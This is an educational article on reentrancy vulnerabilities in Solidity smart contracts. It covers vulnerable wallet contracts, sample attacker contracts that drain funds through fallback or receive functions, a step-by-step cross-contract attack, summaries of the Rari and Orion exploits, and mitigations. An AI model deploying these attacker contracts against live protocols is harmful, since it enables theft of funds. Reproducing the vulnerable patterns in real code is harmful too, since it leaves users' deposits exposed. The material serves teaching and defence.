Reentrancy attacks, prevalent not only in Solidity but also in other programming languages, have posed a significant threat to smart contract security for years. The issue came into the spotlight following a high-profile hack of the DAO in 2016, resulting in substantial financial losses. Now, more than seven years later, itβs crucial for us to analyze the evolution of these attacks and their impact on the ecosystem.
In the first half of 2023 alone, we witnessed 24 major attacks, with reentrancy vulnerabilities implicated in four of these incidents. This data highlights the ongoing relevance and potential risks associated with reentrancy and other vulnerabilities in the current landscape.
What Is Reentrancy Attack?
A reentrancy attack is a type of vulnerability exploit where an attacker leverages an unsynchronized state during an external contract call. This allows for repeated execution of actions intended to occur only once, potentially resulting in unauthorized state alterations and actions, such as excessive fund withdrawals.
In simpler terms, the attacker can repeatedly carry out actions that are supposed to be executed only once. The absence of proper synchronization creates a loophole for the attacker, allowing them to make changes to the contractβs state that should not be permitted.
A common example is the repeated withdrawal of funds β a severe exploit that can often lead to substantial financial losses.
contract VulnerableWallet {
mapping(address => uint256) public balances;
function deposit() public payable {
require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
balances[msg.sender] += msg.value;
}
function withdraw() public {
// Check user's balance
require(balances[msg.sender] >= 1 ether, "Insufficient funds. Cannot withdraw" );
uint256 bal = balances[msg.sender];
// Sends user's native tokens
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");
// Update user's balance after sending the tokens.
balances[msg.sender] = 0;
}
Here, the key point of this vulnerability is the fallback function. Solidity smart contracts can have a fallback function, and its implementation gets executed whenever the contract receives coins.
When the withdraw() function is called, it sends coins to the investor through msg.sender.call and then resets their balance to zero. However, since the execution of the send transaction waits for the hackerβs fallback function to complete, the hackerβs balance remains unchanged until the fallback function finishes.
As a result, the withdraw function can be reentered with the same state as if it were initially called, creating a loop that causes the function to execute actions repeatedly which were meant to be executed only once.
Types Of Reentrancy Attacks
Mono-Function Reentrancy
Mono-function reentrancy occurs when a single function within a smart contract falls prey to repeated recursive invocations before the completion of previous invocations.
Example malicious contract:
interface IVulnerableWallet {
function withdraw() external ;
function deposit()external payable;
}
contract Hacker{
IVulnerableWallet vulnerableWallet;
constructor(address _wallet){
vulnerableWallet = InterfaceDao(_wallet);
}
function attack() public payable {
vulnerableWallet.deposit{value: msg.value}();
// Withdraws from Dao contract.
vulnerableWallet.withdraw();
}
fallback() external payable{
if (address(dao).balance >= 1 ether) {
// Calls the withdraw() again once any amount is received
vulnerableWallet.withdraw();
}
}
}
attack() function makes a call to func withdraw (call1)
Withdraw function executes the line (bool sent, ) = msg.sender.call{value: bal}("") and causes the fallback function of a malicious contract to be executed without updating the userβs balance..
The fallback function makes a call to func withdraw (call2)
The withdraw function executes the line (bool sent, ) = msg.sender.call{value: bal}("") and fallback gets executed.
The fallback function makes a call to func withdraw (calll3)
And so on β¦
The malicious code above is a prime example of mono-function reentrancy.
Cross-Function Reentrancy
Cross-function reentrancy involves the recursive invocation of multiple functions within a smart contract. In this type of attack, the attacker exploits the asynchronous nature of smart contracts, persistently calling back into multiple susceptible functions.
In a cross-function reentrancy attack, a vulnerable function within a contract shares the same codebase with another function that benefits the attacker.
The following code snippet provides an illustration of such a vulnerable contract:
contract VulnerableContract {
mapping (address => uint) private userBalance;
function transfer(address to, uint amount) external {
if (userBalance[msg.sender] >= amount) {
userBalance[to] += amount;
userBalance[msg.sender] -= amount;
}
}
function withdraw() public {
uint withdrawAmount = userBalance[msg.sender];
(bool success, ) = msg.sender.call.value(withdrawAmount)(""); // An attack can come in at this point
require(success);
userBalance[msg.sender] = 0;
}
}
Here we see that withdraw function has a reentrancy vulnerability. However, there is also a hidden vulnerability that can be attacked by using the transfer() function.
In this scenario, the attackerβs fallback function recursively calls the transfer() function instead of the withdraw() function. Since the balance is not set to 0 before executing this code, the transfer() function can transfer a balance that has already been spent, resulting in double spending.
Cross-Contract Reentrancy
Cross-contract reentrancy typically occurs when several contracts are reliant on the same state variable, but not all of these contracts update this variable in a secure manner. This form of reentrancy is particularly insidious as itβs typically challenging to identify due to the interconnected nature of the contracts and their shared reliance on a common state variable.
Below is a basic ERC20 token contract called DevToken, which will be used by the subsequent contract: VulnerableWallet.
The VulnerableWallet contract receives Eth and mints Dev tokens according to the deposited amount and vice versa; it allows withdrawing deposited Eth by returning the held Dev tokens.
Although the functions employ a reentrancy guard, withdrawAll() lacks a proper check-effect-interactions pattern, and that will be the key reason for this exploit.
Initially, an attacker deposits some Eth and receives Dev tokens. When the attackerβs contract calls the withdrawAll function, it sends Eth to the attacker and triggers the attackerβs receive function before updating the Dev token balance in the DevToken contract (success = devToken.burnFrom(msg.sender)). In the malicious receive function, the contract performs a call to the DevToken contract to transfer Dev tokens to another malicious address before its state is updated, leading to double spending.
contract VulnerableWallet is ReentrancyGuard {
. . .
function deposit() external payable {
bool success = devToken.mint(msg.sender, msg.value);
require(success, "Failed to mint token");
}
// This reentrancy guard is not going to prevent contract
// from the exploit
function withdrawAll() external nonReentrant {
uint256 balance = devToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
success = devToken.burnFrom(msg.sender);
require(success, "Failed to burn token");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
. . .
}
β---------------------------------------------------------------------------------------------------------------------
contract Attacker1{
function setMaliciousPeer(address _malicious) external {
attacker2 = _malicious;
}
receive() external payable {
if (address(vulnerableWallet).balance >= 1 ether) {
devToken.transfer(
attacker2, vulnerableWallet.getUserBalance(address(this))
);
}
}
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
vulnerableWallet.deposit{value: 1 ether}();
vulnerableWallet.withdrawAll();
}
function withdrawFunds() external {
vulnerableWallet.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Step-By-Step Analysis Of Cross-Contract Reentrancy Attack
Initial Status
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Balance
1 Eth
0 Dev
0 Eth
0 Dev
After the Attack1 contract calls the attack() function, it executes the following steps:
Step 1: Attacker1.attack() executes vulnerableWallet.deposit{value: 1 ether}(). As a result, it mints 1 token for the msg.sender(Attack1 contract)
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Balance
0 Eth
1 Dev
0 Eth
0 Dev
Step 2: Attacker1.attack() executes vulnerableWallet.withdrawAll(). Hence, it executes sending 1 ether to the msg.sender(Attacker1), and the fallback function of Attacker1 gets triggered.
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Balance
1 Eth
1 Dev
0 Eth
0 Dev
Step 3: Attacker1.attack() receives function of Attacker1. It sends 1 Dev token to Attacker2 before the Wallet contract, updating the state in DevToken by burning it.
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Balance
1 Eth
1 Dev
0 Eth
1 Dev
Step 4: As the last step, 1 Dev token gets burned from Attacker1.
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Balance
1 Eth
0 Dev
0 Eth
1 Dev
Wrapping Up
Eth Attacker1
DevToken Attacker1
Eth Attacker2
DevToken Attacker2
Initial
1 Eth
0 Dev
0 Eth
0 Dev
Step 1
0 Eth
1 Dev
0 Eth
0 Dev
Step 2
1 Eth
1 Dev
0 Eth
0 Dev
Step 3
1 Eth
1 Dev
0 Eth
1 Dev
Step 4
1 Eth
0 Dev
0 Eth
1 Dev
Since the attacker now has 1 Eth + 1 Dev token after performing the malicious attack with 1 Eth, they can repeatedly execute this attack to mint a significant amount of tokens, potentially leading to the inflation of the tokenβs price.
Rari protocol is a decentralized platform that allows lending and borrowing. Protocolβs code was forked from Compound, and their developers accidentally used one of their old commits, which led them to get hacked.
Their borrow function was lacking a proper checks-effects-interactions pattern. Exploiter has seen that and showed a reaction by getting 150,000,000 USDC as a flash loan and depositing it into the fUSDC-127 contract and calling the vulnerable borrow function to borrow some amount of assets.
As we can see, the function first transfers the borrowed amount and then updates the accountBorrows mapping. Since the function does not have any reentrancy guard, the hacker called the borrow function repetitively before it updates the mapping and drained the funds worth $80 million.
function borrow() external {
β¦
doTransferOut (borrower, borrowAmount);
// doTransferOut: function doTransferOut(borrower, amount) {
(bool success, )= to.call.value(amount)("");
require(success, "doTransferOut failed");
}
// !!State updates are made after the transfer
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew;
β¦
}
The hacker borrowed x amount of assets using a flashloan and ran the doTransferOut function five times in a loop. After paying back the flashloan, they took the remaining 4x amount and disappeared with it.
Orion Protocol Reentrancy Exploit (2 February 2023)
Orion Protocol suffered a reentrancy exploit on both Ethereum and BNB Chain, losing nearly $3 million.
The fundamental issue was found in the PoolFunctionality._doSwapTokens function. This results in an incorrect computation of the asset balance, specifically USDT.
The attack resulted from a reentrancy vulnerability within the swap function of the contract. The doswapThroughOrionPool function permitted user-defined swap paths, creating an opportunity for an attacker to exploit this with malicious tokens and reenter deposits. The situation was the ExchangeWithAtomic contractβs failure to validate incoming tokens and implement reentrancy protection.
How To Prevent Reentrancy Attacks In Smart Contracts
Dealing With Mono-Function And Cross-Function Reentrancy
When tackling mono-function and cross-function reentrancy, implementing a mutex lock within the contract can serve as an effective method. This lock acts as a shield, preventing the constant invocation of functions within the same contract, thereby obstructing reentrancy attempts.
One widely-accepted approach to implement this locking mechanism is to inherit the ReentrancyGuard from the OpenZeppelin library within the contract and use the nonReentrant modifier. The βChecks-Effects-Interactionsβ pattern can also be employed as a viable countermeasure against these types of reentrancy.
Addressing Cross-Contract Reentrancy
Regardless of the type of reentrancy attack, following the βChecks-Effects-Interactionsβ pattern in smart contract development is a best practice that enhances the contractβs robustness and provides a significant layer of protection against all forms of reentrancy attacks. By doing so, one ensures the correct handling of states and their updates, thus eliminating any room for potential malicious manipulation.
The problem becomes more complex when dealing with cross-contract reentrancy. This type of reentrancy can be effectively mitigated only by strictly following the βChecks-Effects-Interactionsβ pattern. Cross-contract interactions can involve unknown or unpredictable external contract behaviors, necessitating that all state checks and updates be concluded before any external interactions occur.
In Conclusion
Reentrancy vulnerabilities pose a considerable risk in software and blockchain development. Protective measures like mutex locks, pull-over push payments, or reentrancy guards in smart contracts are essential for mitigating these threats.
Furthermore, regular and comprehensive audits are essential at every stage of the blockchain development process, specifically for smart contracts. These audits not only strengthen the security of the contracts but also foster trust among users and stakeholders. I strongly believe that a deep understanding and prioritization of safety are pivotal to the sustainable evolution of blockchain technology.
The blockchain industry has been grappling with scalability issues, which have hindered widespread adoption due to its technical constraints. As the demand for blockchain, decentralized applications (dApps), and transactions increases, the limitations of existing networks become increasingly apparent. High transaction fees and network congestion have plagued platforms like Ethereum, hampering their ability to support large-scale
The experimental semi-fungible token standard, ERC-404, combines elements from ERC-20 and ERC-721 tokens. Despite rising popularity, it has yet to secure an official Ethereum Improvement Proposal (EIP) designation. However, its unique attributes, such as enabling fractional ownership of NFTs and enhancing liquidity, coupled with the potential for automated NFT minting and burning processes, suggest a
Decentralized applications (dApps) are software that run on a decentralized network, often using blockchain technology. These applications can serve various purposes for end users, such as brokers, art collectors, traders, investors, and documents of public trust. However, their functionality and value attract malicious groups aiming to exploit vulnerabilities for financial gain. This article explores real-world examples of dApp security breaches, their attack vectors, and the lessons learned.